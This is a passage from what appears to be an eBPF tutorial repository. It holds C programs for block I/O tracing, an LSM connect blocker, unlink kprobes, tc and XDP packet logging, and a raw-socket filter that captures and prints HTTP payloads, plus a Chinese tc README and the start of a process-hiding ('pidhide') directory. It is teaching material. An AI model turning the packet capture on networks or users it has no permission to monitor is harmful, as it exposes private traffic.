kernel releases. This helper is used to confirm whether the target kernel 88 | * uses a certain function name before attaching. 89 | * 90 | * It is achieved by scaning 91 | * /sys/kernel/debug/tracing/available_filter_functions 92 | * If this file does not exist, it fallbacks to parse /proc/kallsyms, 93 | * which is slower. 94 | */ 95 | bool kprobe_exists(const char *name); 96 | bool tracepoint_exists(const char *category, const char *event); 97 | 98 | bool vmlinux_btf_exists(void); 99 | bool module_btf_exists(const char *mod); 100 | 101 | bool probe_tp_btf(const char *name); 102 | bool probe_ringbuf(); 103 | 104 | #endif /* __TRACE_HELPERS_H */ 105 | -------------------------------------------------------------------------------- /src/17-biopattern/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | biopattern 9 | -------------------------------------------------------------------------------- /src/17-biopattern/biopattern.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | // Copyright (c) 2020 Wenbo Zhang 3 | #include 4 | #include 5 | #include 6 | #include "biopattern.h" 7 | #include "maps.bpf.h" 8 | #include "core_fixes.bpf.h" 9 | 10 | const volatile bool filter_dev = false; 11 | const volatile __u32 targ_dev = 0; 12 | 13 | struct { 14 | __uint(type, BPF_MAP_TYPE_HASH); 15 | __uint(max_entries, 64); 16 | __type(key, u32); 17 | __type(value, struct counter); 18 | } counters SEC(".maps"); 19 | 20 | SEC("tracepoint/block/block_rq_complete") 21 | int handle__block_rq_complete(void *args) 22 | { 23 | struct counter *counterp, zero = {}; 24 | sector_t sector; 25 | u32 nr_sector; 26 | u32 dev; 27 | 28 | if (has_block_rq_completion()) { 29 | struct trace_event_raw_block_rq_completion___x *ctx = args; 30 | sector = BPF_CORE_READ(ctx, sector); 31 | nr_sector = BPF_CORE_READ(ctx, nr_sector); 32 | dev = BPF_CORE_READ(ctx, dev); 33 | } else { 34 | struct trace_event_raw_block_rq_complete___x *ctx = args; 35 | sector = BPF_CORE_READ(ctx, sector); 36 | nr_sector = BPF_CORE_READ(ctx, nr_sector); 37 | dev = BPF_CORE_READ(ctx, dev); 38 | } 39 | 40 | if (filter_dev && targ_dev != dev) 41 | return 0; 42 | 43 | counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); 44 | if (!counterp) 45 | return 0; 46 | if (counterp->last_sector) { 47 | if (counterp->last_sector == sector) 48 | __sync_fetch_and_add(&counterp->sequential, 1); 49 | else 50 | __sync_fetch_and_add(&counterp->random, 1); 51 | __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); 52 | } 53 | counterp->last_sector = sector + nr_sector; 54 | return 0; 55 | } 56 | 57 | char LICENSE[] SEC("license") = "GPL"; 58 | -------------------------------------------------------------------------------- /src/17-biopattern/biopattern.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | #ifndef __BIOPATTERN_H 3 | #define __BIOPATTERN_H 4 | 5 | #define DISK_NAME_LEN 32 6 | 7 | struct counter { 8 | __u64 last_sector; 9 | __u64 bytes; 10 | __u32 sequential; 11 | __u32 random; 12 | }; 13 | 14 | #endif /* __BIOPATTERN_H */ 15 | -------------------------------------------------------------------------------- /src/17-biopattern/maps.bpf.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | // Copyright (c) 2020 Anton Protopopov 3 | #ifndef __MAPS_BPF_H 4 | #define __MAPS_BPF_H 5 | 6 | #include 7 | #include 8 | 9 | static __always_inline void * 10 | bpf_map_lookup_or_try_init(void *map, const void *key, const void *init) 11 | { 12 | void *val; 13 | long err; 14 | 15 | val = bpf_map_lookup_elem(map, key); 16 | if (val) 17 | return val; 18 | 19 | err = bpf_map_update_elem(map, key, init, BPF_NOEXIST); 20 | if (err && err != -EEXIST) 21 | return 0; 22 | 23 | return bpf_map_lookup_elem(map, key); 24 | } 25 | 26 | #endif /* __MAPS_BPF_H */ 27 | -------------------------------------------------------------------------------- /src/17-biopattern/trace_helpers.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | #ifndef __TRACE_HELPERS_H 3 | #define __TRACE_HELPERS_H 4 | 5 | #include 6 | 7 | #define NSEC_PER_SEC 1000000000ULL 8 | 9 | struct ksym { 10 | const char *name; 11 | unsigned long addr; 12 | }; 13 | 14 | struct ksyms; 15 | 16 | struct ksyms *ksyms__load(void); 17 | void ksyms__free(struct ksyms *ksyms); 18 | const struct ksym *ksyms__map_addr(const struct ksyms *ksyms, 19 | unsigned long addr); 20 | const struct ksym *ksyms__get_symbol(const struct ksyms *ksyms, 21 | const char *name); 22 | 23 | struct sym { 24 | const char *name; 25 | unsigned long start; 26 | unsigned long size; 27 | unsigned long offset; 28 | }; 29 | 30 | struct syms; 31 | 32 | struct syms *syms__load_pid(int tgid); 33 | struct syms *syms__load_file(const char *fname); 34 | void syms__free(struct syms *syms); 35 | const struct sym *syms__map_addr(const struct syms *syms, unsigned long addr); 36 | const struct sym *syms__map_addr_dso(const struct syms *syms, unsigned long addr, 37 | char **dso_name, unsigned long *dso_offset); 38 | 39 | struct syms_cache; 40 | 41 | struct syms_cache *syms_cache__new(int nr); 42 | struct syms *syms_cache__get_syms(struct syms_cache *syms_cache, int tgid); 43 | void syms_cache__free(struct syms_cache *syms_cache); 44 | 45 | struct partition { 46 | char *name; 47 | unsigned int dev; 48 | }; 49 | 50 | struct partitions; 51 | 52 | struct partitions *partitions__load(void); 53 | void partitions__free(struct partitions *partitions); 54 | const struct partition * 55 | partitions__get_by_dev(const struct partitions *partitions, unsigned int dev); 56 | const struct partition * 57 | partitions__get_by_name(const struct partitions *partitions, const char *name); 58 | 59 | void print_log2_hist(unsigned int *vals, int vals_size, const char *val_type); 60 | void print_linear_hist(unsigned int *vals, int vals_size, unsigned int base, 61 | unsigned int step, const char *val_type); 62 | 63 | unsigned long long get_ktime_ns(void); 64 | 65 | bool is_kernel_module(const char *name); 66 | 67 | /* 68 | * When attempting to use kprobe/kretprobe, please check out new fentry/fexit 69 | * probes, as they provide better performance and usability. But in some 70 | * situations we have to fallback to kprobe/kretprobe probes. This helper 71 | * is used to detect fentry/fexit support for the specified kernel function. 72 | * 73 | * 1. A gap between kernel versions, kernel BTF is exposed 74 | * starting from 5.4 kernel. but fentry/fexit is actually 75 | * supported starting from 5.5. 76 | * 2. Whether kernel supports module BTF or not 77 | * 78 | * *name* is the name of a kernel function to be attached to, which can be 79 | * from vmlinux or a kernel module. 80 | * *mod* is a hint that indicates the *name* may reside in module BTF, 81 | * if NULL, it means *name* belongs to vmlinux. 82 | */ 83 | bool fentry_can_attach(const char *name, const char *mod); 84 | 85 | /* 86 | * The name of a kernel function to be attached to may be changed between 87 | * kernel releases. This helper is used to confirm whether the target kernel 88 | * uses a certain function name before attaching. 89 | * 90 | * It is achieved by scaning 91 | * /sys/kernel/debug/tracing/available_filter_functions 92 | * If this file does not exist, it fallbacks to parse /proc/kallsyms, 93 | * which is slower. 94 | */ 95 | bool kprobe_exists(const char *name); 96 | bool tracepoint_exists(const char *category, const char *event); 97 | 98 | bool vmlinux_btf_exists(void); 99 | bool module_btf_exists(const char *mod); 100 | 101 | bool probe_tp_btf(const char *name); 102 | bool probe_ringbuf(); 103 | 104 | #endif /* __TRACE_HELPERS_H */ 105 | -------------------------------------------------------------------------------- /src/19-lsm-connect/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | -------------------------------------------------------------------------------- /src/19-lsm-connect/lsm-connect.bpf.c: -------------------------------------------------------------------------------- 1 | #include "vmlinux.h" 2 | #include 3 | #include 4 | #include 5 | 6 | char LICENSE[] SEC("license") = "GPL"; 7 | 8 | #define EPERM 1 9 | #define AF_INET 2 10 | 11 | const __u32 blockme = 16843009; // 1.1.1.1 -> int 12 | 13 | SEC("lsm/socket_connect") 14 | int BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, int addrlen, int ret) 15 | { 16 | // Satisfying "cannot override a denial" rule 17 | if (ret != 0) 18 | { 19 | return ret; 20 | } 21 | 22 | // Only IPv4 in this example 23 | if (address->sa_family != AF_INET) 24 | { 25 | return 0; 26 | } 27 | 28 | // Cast the address to an IPv4 socket address 29 | struct sockaddr_in *addr = (struct sockaddr_in *)address; 30 | 31 | // Where do you want to go? 32 | __u32 dest = addr->sin_addr.s_addr; 33 | bpf_printk("lsm: found connect to %d", dest); 34 | 35 | if (dest == blockme) 36 | { 37 | bpf_printk("lsm: blocking %d", dest); 38 | return -EPERM; 39 | } 40 | return 0; 41 | } 42 | -------------------------------------------------------------------------------- /src/2-kprobe-unlink/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | -------------------------------------------------------------------------------- /src/2-kprobe-unlink/kprobe-link.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause 2 | /* Copyright (c) 2021 Sartura */ 3 | #define BPF_NO_GLOBAL_DATA 4 | #include "vmlinux.h" 5 | #include 6 | #include 7 | #include 8 | 9 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 10 | 11 | SEC("kprobe/do_unlinkat") 12 | int BPF_KPROBE(do_unlinkat, int dfd, struct filename *name) 13 | { 14 | pid_t pid; 15 | const char *filename; 16 | 17 | pid = bpf_get_current_pid_tgid() >> 32; 18 | filename = BPF_CORE_READ(name, name); 19 | bpf_printk("KPROBE ENTRY pid = %d, filename = %s\n", pid, filename); 20 | return 0; 21 | } 22 | 23 | SEC("kretprobe/do_unlinkat") 24 | int BPF_KRETPROBE(do_unlinkat_exit, long ret) 25 | { 26 | pid_t pid; 27 | 28 | pid = bpf_get_current_pid_tgid() >> 32; 29 | bpf_printk("KPROBE EXIT: pid = %d, ret = %ld\n", pid, ret); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /src/20-tc/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.wasm 4 | ewasm-skel.h 5 | ecli 6 | ewasm 7 | *.o 8 | *.skel.json 9 | *.skel.yaml 10 | package.yaml 11 | -------------------------------------------------------------------------------- /src/20-tc/README.md: -------------------------------------------------------------------------------- 1 | # eBPF 入门实践教程二十:使用 eBPF 进行 tc 流量控制 2 | 3 | ## 背景 4 | 5 | Linux 的流量控制子系统(Traffic Control, tc)在内核中存在了多年,类似于 iptables 和 netfilter 的关系,tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架,主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始,tc 增加了一些新的挂载点,并支持将 eBPF 程序作为 filter 加载到这些挂载点上。 6 | 7 | ## tc 概述 8 | 9 | 从协议栈上看,tc 位于链路层,其所在位置已经完成了 sk_buff 的分配,要晚于 xdp。为了实现对数据包发送和接收的控制,tc 使用队列结构来临时保存并组织数据包,在 tc 子系统中对应的数据结构和算法控制机制被抽象为 qdisc(Queueing discipline),其对外暴露数据包入队和出队的两个回调接口,并在内部隐藏排队算法实现。在 qdisc 中我们可以基于 filter 和 class 实现复杂的树形结构,其中 filter 被挂载到 qdisc 或 class 上用于实现具体的过滤逻辑,返回值决定了该数据包是否属于特定 class。 10 | 11 | 当数据包到达顶层 qdisc 时,其入队接口被调用,其上挂载的 filter 被依次执行直到一个 filter 匹配成功;此后数据包被送入该 filter 指向的 class,进入该 class 配置的 qdisc 处理流程中。tc 框架提供了所谓 classifier-action 机制,即在数据包匹配到特定 filter 时执行该 filter 所挂载的 action 对数据包进行处理,实现了完整的数据包分类和处理机制。 12 | 13 | 现有的 tc 为 eBPF 提供了 direct-action 模式,它使得一个作为 filter 加载的 eBPF 程序可以返回像 `TC_ACT_OK` 等 tc action 的返回值,而不是像传统的 filter 那样仅仅返回一个 classid 并把对数据包的处理交给 action 模块。现在,eBPF 程序可以被挂载到特定的 qdisc 上,并完成对数据包的分类和处理动作。 14 | 15 | ## 编写 eBPF 程序 16 | 17 | ```c 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #define TC_ACT_OK 0 24 | #define ETH_P_IP 0x0800 /* Internet Protocol packet */ 25 | 26 | /// @tchook {"ifindex":1, "attach_point":"BPF_TC_INGRESS"} 27 | /// @tcopts {"handle":1, "priority":1} 28 | SEC("tc") 29 | int tc_ingress(struct __sk_buff *ctx) 30 | { 31 | void *data_end = (void *)(__u64)ctx->data_end; 32 | void *data = (void *)(__u64)ctx->data; 33 | struct ethhdr *l2; 34 | struct iphdr *l3; 35 | 36 | if (ctx->protocol != bpf_htons(ETH_P_IP)) 37 | return TC_ACT_OK; 38 | 39 | l2 = data; 40 | if ((void *)(l2 + 1) > data_end) 41 | return TC_ACT_OK; 42 | 43 | l3 = (struct iphdr *)(l2 + 1); 44 | if ((void *)(l3 + 1) > data_end) 45 | return TC_ACT_OK; 46 | 47 | bpf_printk("Got IP packet: tot_len: %d, ttl: %d", bpf_ntohs(l3->tot_len), l3->ttl); 48 | return TC_ACT_OK; 49 | } 50 | 51 | char __license[] SEC("license") = "GPL"; 52 | ``` 53 | 54 | 这段代码定义了一个 eBPF 程序,它可以通过 Linux TC(Transmission Control)来捕获数据包并进行处理。在这个程序中,我们限定了只捕获 IPv4 协议的数据包,然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-Live(TTL)字段的值。 55 | 56 | 需要注意的是,我们在代码中使用了一些 BPF 库函数,例如 bpf_htons 和 bpf_ntohs 函数,它们用于进行网络字节序和主机字节序之间的转换。此外,我们还使用了一些注释来为 TC 提供附加点和选项信息。例如,在这段代码的开头,我们使用了以下注释: 57 | 58 | ```c 59 | /// @tchook {"ifindex":1, "attach_point":"BPF_TC_INGRESS"} 60 | /// @tcopts {"handle":1, "priority":1} 61 | ``` 62 | 63 | 这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点,并指定了 handle 和 priority 选项的值。关于 libbpf 中 tc 相关的 API 可以参考 [patchwork](https://patchwork.kernel.org/project/netdevbpf/patch/20210512103451.989420-3-memxor@gmail.com/) 中的介绍。 64 | 65 | 总之,这段代码实现了一个简单的 eBPF 程序,用于捕获数据包并打印出它们的信息。 66 | 67 | ## 编译运行 68 | 69 | 通过容器编译: 70 | 71 | ```console 72 | docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 73 | ``` 74 | 75 | 或是通过 `ecc` 编译: 76 | 77 | ```console 78 | $ ecc tc.bpf.c 79 | Compiling bpf object... 80 | Packing ebpf object and config into package.json... 81 | ``` 82 | 83 | 并通过 `ecli` 运行: 84 | 85 | ```shell 86 | sudo ecli run ./package.json 87 | ``` 88 | 89 | 可以通过如下方式查看程序的输出: 90 | 91 | ```console 92 | $ sudo cat /sys/kernel/debug/tracing/trace_pipe 93 | node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64 94 | sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64 95 | sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64 96 | node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64 97 | ``` 98 | 99 | ## 总结 100 | 101 | 本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案,我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备,并借助内核的 sk_buff 结构对数据包进行过滤处理。 102 | 103 | 如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 104 | 105 | ## 参考 106 | 107 | + 108 | + 109 | -------------------------------------------------------------------------------- /src/20-tc/tc.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | /* Copyright (c) 2022 Hengqi Chen */ 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define TC_ACT_OK 0 9 | #define ETH_P_IP 0x0800 /* Internet Protocol packet */ 10 | 11 | /// @tchook {"ifindex":1, "attach_point":"BPF_TC_INGRESS"} 12 | /// @tcopts {"handle":1, "priority":1} 13 | SEC("tc") 14 | int tc_ingress(struct __sk_buff *ctx) 15 | { 16 | void *data_end = (void *)(__u64)ctx->data_end; 17 | void *data = (void *)(__u64)ctx->data; 18 | struct ethhdr *l2; 19 | struct iphdr *l3; 20 | 21 | if (ctx->protocol != bpf_htons(ETH_P_IP)) 22 | return TC_ACT_OK; 23 | 24 | l2 = data; 25 | if ((void *)(l2 + 1) > data_end) 26 | return TC_ACT_OK; 27 | 28 | l3 = (struct iphdr *)(l2 + 1); 29 | if ((void *)(l3 + 1) > data_end) 30 | return TC_ACT_OK; 31 | 32 | bpf_printk("Got IP packet: tot_len: %d, ttl: %d", bpf_ntohs(l3->tot_len), l3->ttl); 33 | return TC_ACT_OK; 34 | } 35 | 36 | char __license[] SEC("license") = "GPL"; 37 | -------------------------------------------------------------------------------- /src/21-xdp/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.wasm 4 | ewasm-skel.h 5 | ecli 6 | ewasm 7 | *.o 8 | *.skel.json 9 | *.skel.yaml 10 | package.yaml 11 | -------------------------------------------------------------------------------- /src/21-xdp/xdp.bpf.c: -------------------------------------------------------------------------------- 1 | #include "vmlinux.h" 2 | #include 3 | 4 | /// @ifindex 1 5 | /// @flags 0 6 | /// @xdpopts {"old_prog_fd":0} 7 | SEC("xdp") 8 | int xdp_pass(struct xdp_md* ctx) { 9 | void* data = (void*)(long)ctx->data; 10 | void* data_end = (void*)(long)ctx->data_end; 11 | int pkt_sz = data_end - data; 12 | 13 | bpf_printk("packet size is %d", pkt_sz); 14 | return XDP_PASS; 15 | } 16 | 17 | char __license[] SEC("license") = "GPL"; -------------------------------------------------------------------------------- /src/23-http/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | sockfilter 9 | *.class 10 | -------------------------------------------------------------------------------- /src/23-http/accept.h: -------------------------------------------------------------------------------- 1 | #ifndef BPF_HTTP_ACCEPT_TRACE_H 2 | #define BPF_HTTP_ACCEPT_TRACE_H 3 | 4 | #define MAX_MSG_SIZE 256 5 | 6 | struct socket_data_event_t 7 | { 8 | unsigned long long timestamp_ns; 9 | unsigned int pid; 10 | int fd; 11 | bool is_connection; 12 | unsigned int msg_size; 13 | unsigned long long pos; 14 | char msg[MAX_MSG_SIZE]; 15 | }; 16 | 17 | #endif // BPF_HTTP_ACCEPT_TRACE_H 18 | -------------------------------------------------------------------------------- /src/23-http/sockfilter.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause 2 | /* Copyright (c) 2022 Jacky Yin */ 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "sockfilter.h" 12 | 13 | #define IP_MF 0x2000 14 | #define IP_OFFSET 0x1FFF 15 | #define IP_TCP 6 16 | #define ETH_HLEN 14 17 | 18 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 19 | 20 | struct 21 | { 22 | __uint(type, BPF_MAP_TYPE_RINGBUF); 23 | __uint(max_entries, 256 * 1024); 24 | } rb SEC(".maps"); 25 | 26 | // Taken from uapi/linux/tcp.h 27 | struct __tcphdr 28 | { 29 | __be16 source; 30 | __be16 dest; 31 | __be32 seq; 32 | __be32 ack_seq; 33 | __u16 res1 : 4, doff : 4, fin : 1, syn : 1, rst : 1, psh : 1, ack : 1, urg : 1, ece : 1, cwr : 1; 34 | __be16 window; 35 | __sum16 check; 36 | __be16 urg_ptr; 37 | }; 38 | 39 | static inline int ip_is_fragment(struct __sk_buff *skb, __u32 nhoff) 40 | { 41 | __u16 frag_off; 42 | 43 | bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, frag_off), &frag_off, 2); 44 | frag_off = __bpf_ntohs(frag_off); 45 | return frag_off & (IP_MF | IP_OFFSET); 46 | } 47 | 48 | SEC("socket") 49 | int socket_handler(struct __sk_buff *skb) 50 | { 51 | struct so_event *e; 52 | __u8 verlen; 53 | __u16 proto; 54 | __u32 nhoff = ETH_HLEN; 55 | __u32 ip_proto = 0; 56 | __u32 tcp_hdr_len = 0; 57 | __u16 tlen; 58 | __u32 payload_offset = 0; 59 | __u32 payload_length = 0; 60 | __u8 hdr_len; 61 | 62 | bpf_skb_load_bytes(skb, 12, &proto, 2); 63 | proto = __bpf_ntohs(proto); 64 | if (proto != ETH_P_IP) 65 | return 0; 66 | 67 | if (ip_is_fragment(skb, nhoff)) 68 | return 0; 69 | 70 | // ip4 header lengths are variable 71 | // access ihl as a u8 (linux/include/linux/skbuff.h) 72 | bpf_skb_load_bytes(skb, ETH_HLEN, &hdr_len, sizeof(hdr_len)); 73 | hdr_len &= 0x0f; 74 | hdr_len *= 4; 75 | 76 | /* verify hlen meets minimum size requirements */ 77 | if (hdr_len < sizeof(struct iphdr)) 78 | { 79 | return 0; 80 | } 81 | 82 | bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, protocol), &ip_proto, 1); 83 | 84 | if (ip_proto != IPPROTO_TCP) 85 | { 86 | return 0; 87 | } 88 | 89 | tcp_hdr_len = nhoff + hdr_len; 90 | bpf_skb_load_bytes(skb, nhoff + 0, &verlen, 1); 91 | bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, tot_len), &tlen, sizeof(tlen)); 92 | 93 | __u8 doff; 94 | bpf_skb_load_bytes(skb, tcp_hdr_len + offsetof(struct __tcphdr, ack_seq) + 4, &doff, sizeof(doff)); // read the first byte past __tcphdr->ack_seq, we can't do offsetof bit fields 95 | doff &= 0xf0; // clean-up res1 96 | doff >>= 4; // move the upper 4 bits to low 97 | doff *= 4; // convert to bytes length 98 | 99 | payload_offset = ETH_HLEN + hdr_len + doff; 100 | payload_length = __bpf_ntohs(tlen) - hdr_len - doff; 101 | 102 | char line_buffer[7]; 103 | if (payload_length < 7 || payload_offset < 0) 104 | { 105 | return 0; 106 | } 107 | bpf_skb_load_bytes(skb, payload_offset, line_buffer, 7); 108 | bpf_printk("%d len %d buffer: %s", payload_offset, payload_length, line_buffer); 109 | if (bpf_strncmp(line_buffer, 3, "GET") != 0 && 110 | bpf_strncmp(line_buffer, 4, "POST") != 0 && 111 | bpf_strncmp(line_buffer, 3, "PUT") != 0 && 112 | bpf_strncmp(line_buffer, 6, "DELETE") != 0 && 113 | bpf_strncmp(line_buffer, 4, "HTTP") != 0) 114 | { 115 | return 0; 116 | } 117 | 118 | /* reserve sample from BPF ringbuf */ 119 | e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); 120 | if (!e) 121 | return 0; 122 | 123 | e->ip_proto = ip_proto; 124 | bpf_skb_load_bytes(skb, nhoff + hdr_len, &(e->ports), 4); 125 | e->pkt_type = skb->pkt_type; 126 | e->ifindex = skb->ifindex; 127 | 128 | e->payload_length = payload_length; 129 | bpf_skb_load_bytes(skb, payload_offset, e->payload, MAX_BUF_SIZE); 130 | 131 | bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, saddr), &(e->src_addr), 4); 132 | bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, daddr), &(e->dst_addr), 4); 133 | bpf_ringbuf_submit(e, 0); 134 | 135 | return skb->len; 136 | } 137 | -------------------------------------------------------------------------------- /src/23-http/sockfilter.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause 2 | /* Copyright (c) 2022 Jacky Yin */ 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include "sockfilter.h" 17 | #include "sockfilter.skel.h" 18 | 19 | static int open_raw_sock(const char *name) 20 | { 21 | struct sockaddr_ll sll; 22 | int sock; 23 | 24 | sock = socket(PF_PACKET, SOCK_RAW | SOCK_NONBLOCK | SOCK_CLOEXEC, htons(ETH_P_ALL)); 25 | if (sock < 0) { 26 | fprintf(stderr, "Failed to create raw socket\n"); 27 | return -1; 28 | } 29 | 30 | memset(&sll, 0, sizeof(sll)); 31 | sll.sll_family = AF_PACKET; 32 | sll.sll_ifindex = if_nametoindex(name); 33 | sll.sll_protocol = htons(ETH_P_ALL); 34 | if (bind(sock, (struct sockaddr *)&sll, sizeof(sll)) < 0) { 35 | fprintf(stderr, "Failed to bind to %s: %s\n", name, strerror(errno)); 36 | close(sock); 37 | return -1; 38 | } 39 | 40 | return sock; 41 | } 42 | 43 | static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) 44 | { 45 | return vfprintf(stderr, format, args); 46 | } 47 | 48 | static inline void ltoa(uint32_t addr, char *dst) 49 | { 50 | snprintf(dst, 16, "%u.%u.%u.%u", (addr >> 24) & 0xFF, (addr >> 16) & 0xFF, 51 | (addr >> 8) & 0xFF, (addr & 0xFF)); 52 | } 53 | 54 | static int handle_event(void *ctx, void *data, size_t data_sz) 55 | { 56 | const struct so_event *e = data; 57 | char ifname[IF_NAMESIZE]; 58 | char sstr[16] = {}, dstr[16] = {}; 59 | 60 | if (e->pkt_type != PACKET_HOST) 61 | return 0; 62 | 63 | if (e->ip_proto < 0 || e->ip_proto >= IPPROTO_MAX) 64 | return 0; 65 | 66 | if (!if_indextoname(e->ifindex, ifname)) 67 | return 0; 68 | 69 | ltoa(ntohl(e->src_addr), sstr); 70 | ltoa(ntohl(e->dst_addr), dstr); 71 | 72 | printf("%s:%d(src) -> %s:%d(dst)\n", sstr, ntohs(e->port16[0]), dstr, ntohs(e->port16[1])); 73 | printf("payload: %s\n", e->payload); 74 | return 0; 75 | } 76 | 77 | static volatile bool exiting = false; 78 | 79 | static void sig_handler(int sig) 80 | { 81 | exiting = true; 82 | } 83 | 84 | int main(int argc, char **argv) 85 | { 86 | struct ring_buffer *rb = NULL; 87 | struct sockfilter_bpf *skel; 88 | int err, prog_fd, sock; 89 | 90 | const char* interface = "lo"; 91 | 92 | /* Set up libbpf errors and debug info callback */ 93 | libbpf_set_print(libbpf_print_fn); 94 | 95 | /* Cleaner handling of Ctrl-C */ 96 | signal(SIGINT, sig_handler); 97 | signal(SIGTERM, sig_handler); 98 | 99 | /* Load and verify BPF programs*/ 100 | skel = sockfilter_bpf__open_and_load(); 101 | if (!skel) { 102 | fprintf(stderr, "Failed to open and load BPF skeleton\n"); 103 | return 1; 104 | } 105 | 106 | /* Set up ring buffer polling */ 107 | rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); 108 | if (!rb) { 109 | err = -1; 110 | fprintf(stderr, "Failed to create ring buffer\n"); 111 | goto cleanup; 112 | } 113 | 114 | /* Create raw socket for localhost interface */ 115 | sock = open_raw_sock(interface); 116 | if (sock < 0) { 117 | err = -2; 118 | fprintf(stderr, "Failed to open raw socket\n"); 119 | goto cleanup; 120 | } 121 | 122 | /* Attach BPF program to raw socket */ 123 | prog_fd = bpf_program__fd(skel->progs.socket_handler); 124 | if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd))) { 125 | err = -3; 126 | fprintf(stderr, "Failed to attach to raw socket\n"); 127 | goto cleanup; 128 | } 129 | 130 | /* Process events */ 131 | while (!exiting) { 132 | err = ring_buffer__poll(rb, 100 /* timeout, ms */); 133 | /* Ctrl-C will cause -EINTR */ 134 | if (err == -EINTR) { 135 | err = 0; 136 | break; 137 | } 138 | if (err < 0) { 139 | fprintf(stderr, "Error polling perf buffer: %d\n", err); 140 | break; 141 | } 142 | sleep(1); 143 | } 144 | 145 | cleanup: 146 | ring_buffer__free(rb); 147 | sockfilter_bpf__destroy(skel); 148 | return -err; 149 | } -------------------------------------------------------------------------------- /src/23-http/sockfilter.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause 2 | /* Copyright (c) 2022 Jacky Yin */ 3 | #ifndef __SOCKFILTER_H 4 | #define __SOCKFILTER_H 5 | 6 | #define MAX_BUF_SIZE 64 7 | 8 | struct so_event { 9 | __be32 src_addr; 10 | __be32 dst_addr; 11 | union { 12 | __be32 ports; 13 | __be16 port16[2]; 14 | }; 15 | __u32 ip_proto; 16 | __u32 pkt_type; 17 | __u32 ifindex; 18 | __u32 payload_length; 19 | __u8 payload[MAX_BUF_SIZE]; 20 | }; 21 | 22 | #endif /* __SOCKFILTER_H */ 23 | -------------------------------------------------------------------------------- /src/24-hide/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | bootstrap 9 | pidhide 10 | 11 | -------------------------------------------------------------------------------- /src/24-hide/LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020, Andrii Nakryiko 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 